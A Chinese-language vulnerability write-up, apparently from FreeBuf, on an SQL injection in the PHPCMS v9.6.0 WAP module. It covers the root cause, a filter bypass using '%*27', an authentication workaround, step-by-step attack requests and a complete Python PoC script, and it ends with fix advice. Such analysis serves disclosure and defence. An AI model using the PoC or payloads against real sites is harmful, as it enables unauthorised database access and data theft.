PHPCMS v9.6.0 wap模块SQL注入 | FreeBuf × 破壳学院训练营
字数 1529 2025-08-18 11:38:32

PHPCMS v9.6.0 WAP模块SQL注入漏洞分析与利用

漏洞概述

PHPCMS v9.6.0的WAP模块存在SQL注入漏洞,该漏洞源于sys_auth函数在解密参数后未进行适当校验,导致攻击者可以构造恶意请求实现SQL注入攻击。

漏洞原理分析

漏洞触发点

漏洞最终触发点在phpcms/modules/content/down.phpinit函数中:

  1. 通过GET传参a_k参数
  2. 调用sys_auth方法进行解密(使用DECODE模式和auth_key
  3. 使用parse_str对解密后的$a_k变量进行处理
  4. 直接将处理后的$id参数带入SQL查询,没有进行过滤

关键函数分析

  1. sys_auth函数

    • 用于加密/解密数据
    • 解密时使用系统配置的auth_key(位于caches\configs\system.php
    • 每个站点的auth_key可能不同
  2. parse_str函数

    • 将查询字符串解析到变量中并同时解码
    • 示例:parse_str("name=John%20Doe&age=25")会创建变量$name="John Doe"$age="25"

漏洞利用链

  1. 构造恶意payload:id=SQL注入语句&其他参数=其他值
  2. 需要将payload加密后作为a_k参数传递
  3. 由于auth_key站点不同,无法本地生成加密payload

漏洞利用过程

获取加密payload的方法

  1. 查找使用sys_auth进行ENCODE操作的位置
  2. phpcms\libs\classes\param.class.phpset_cookie方法中:
    • 调用sys_auth进行ENCODE操作
    • 使用系统默认的auth_key
    • 结果存储在cookie中,可直接获取

绕过过滤机制

  1. swfupload_json方法中调用safe_replace过滤输入
  2. safe_replace函数(位于phpcms/libs/functions/global.func.php):
    • 替换删除%27%2527
    • 随后替换删除*,且只进行一次替换
    • 使用%*27可以绕过过滤(%*27%27

绕过身份验证

  1. swfupload_json方法需要$this->userid不为空
  2. 通过POST传入userid_flash参数(需能被sys_auth解密)
  3. 从WAP模块首页获取有效的userid_flash值:
    • 访问index.php?m=wap&a=index&siteid=1
    • 获取cookie中的_siteid值作为userid_flash

完整利用步骤

  1. Step1:获取有效的userid_flash

    GET /index.php?m=wap&a=index&siteid=1
    

    从返回的cookie中获取_siteid

  2. Step2:获取加密的payload

    POST /index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26
    

    设置userid_flash为上一步获取的值
    从返回的cookie中获取加密后的payload

  3. Step3:执行SQL注入

    GET /index.php?m=content&c=down&a_k=<加密后的payload>
    

    使用上一步获取的加密payload作为a_k参数

PoC代码

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import re
import sys
import requests
from urllib import quote

TIMEOUT = 3

def poc(url):
    payload = "&id=%*27 and updat*exml(1,con*cat(1,(us*er())),1)%23&modelid=1&catid=1&m=1&f="
    cookies = {}
    
    # Step1: 获取userid_flash
    step1 = '{}/index.php?m=wap&a=index&siteid=1'.format(url)
    for c in requests.get(step1, timeout=TIMEOUT).cookies:
        if c.name[-7:] == '_siteid':
            cookie_head = c.name[:6]
            cookies[cookie_head + '_userid'] = c.value
            cookies[c.name] = c.value
            print c.value
            break
    else:
        return False
    
    # Step2: 获取加密payload
    step2 = "{}/index.php?m=attachment&c=attachments&a=swfupload_json&src={}".format(url, quote(payload))
    for c in requests.get(step2, cookies=cookies, timeout=TIMEOUT).cookies:
        if c.name[-9:] == '_att_json':
            enc_payload = c.value
            print enc_payload
            break
    else:
        return False
    
    # Step3: 执行SQL注入
    setp3 = url + '/index.php?m=content&c=down&a_k=' + enc_payload
    r = requests.get(setp3, cookies=cookies, timeout=TIMEOUT)
    print r.content

print poc(sys.argv[1])

修复建议

  1. 对解密后的参数进行严格的过滤和校验
  2. 使用参数化查询或预处理语句代替直接拼接SQL
  3. 更新到最新版本的PHPCMS

扩展阅读

  1. parse_str函数说明: http://www.w3school.com.cn/php/func_string_parse_str.asp
  2. __construct()说明: http://www.php.net/manual/zh/language.oop5.decon.php
PHPCMS v9.6.0 WAP模块SQL注入漏洞分析与利用 漏洞概述 PHPCMS v9.6.0的WAP模块存在SQL注入漏洞,该漏洞源于 sys_auth 函数在解密参数后未进行适当校验,导致攻击者可以构造恶意请求实现SQL注入攻击。 漏洞原理分析 漏洞触发点 漏洞最终触发点在 phpcms/modules/content/down.php 的 init 函数中: 通过GET传参 a_k 参数 调用 sys_auth 方法进行解密(使用DECODE模式和 auth_key ) 使用 parse_str 对解密后的 $a_k 变量进行处理 直接将处理后的 $id 参数带入SQL查询,没有进行过滤 关键函数分析 sys_ auth函数 : 用于加密/解密数据 解密时使用系统配置的 auth_key (位于 caches\configs\system.php ) 每个站点的 auth_key 可能不同 parse_ str函数 : 将查询字符串解析到变量中并同时解码 示例: parse_str("name=John%20Doe&age=25") 会创建变量 $name="John Doe" 和 $age="25" 漏洞利用链 构造恶意payload: id=SQL注入语句&其他参数=其他值 需要将payload加密后作为 a_k 参数传递 由于 auth_key 站点不同,无法本地生成加密payload 漏洞利用过程 获取加密payload的方法 查找使用 sys_auth 进行ENCODE操作的位置 在 phpcms\libs\classes\param.class.php 的 set_cookie 方法中: 调用 sys_auth 进行ENCODE操作 使用系统默认的 auth_key 结果存储在cookie中,可直接获取 绕过过滤机制 swfupload_json 方法中调用 safe_replace 过滤输入 safe_replace 函数(位于 phpcms/libs/functions/global.func.php ): 替换删除 %27 、 %2527 等 随后替换删除 * ,且只进行一次替换 使用 %*27 可以绕过过滤( %*27 → %27 ) 绕过身份验证 swfupload_json 方法需要 $this->userid 不为空 通过POST传入 userid_flash 参数(需能被 sys_auth 解密) 从WAP模块首页获取有效的 userid_flash 值: 访问 index.php?m=wap&a=index&siteid=1 获取cookie中的 _siteid 值作为 userid_flash 完整利用步骤 Step1 :获取有效的 userid_flash 从返回的cookie中获取 _siteid 值 Step2 :获取加密的payload 设置 userid_flash 为上一步获取的值 从返回的cookie中获取加密后的payload Step3 :执行SQL注入 使用上一步获取的加密payload作为 a_k 参数 PoC代码 修复建议 对解密后的参数进行严格的过滤和校验 使用参数化查询或预处理语句代替直接拼接SQL 更新到最新版本的PHPCMS 扩展阅读 parse_ str函数说明: http://www.w3school.com.cn/php/func_ string_ parse_ str.asp __ construct()说明: http://www.php.net/manual/zh/language.oop5.decon.php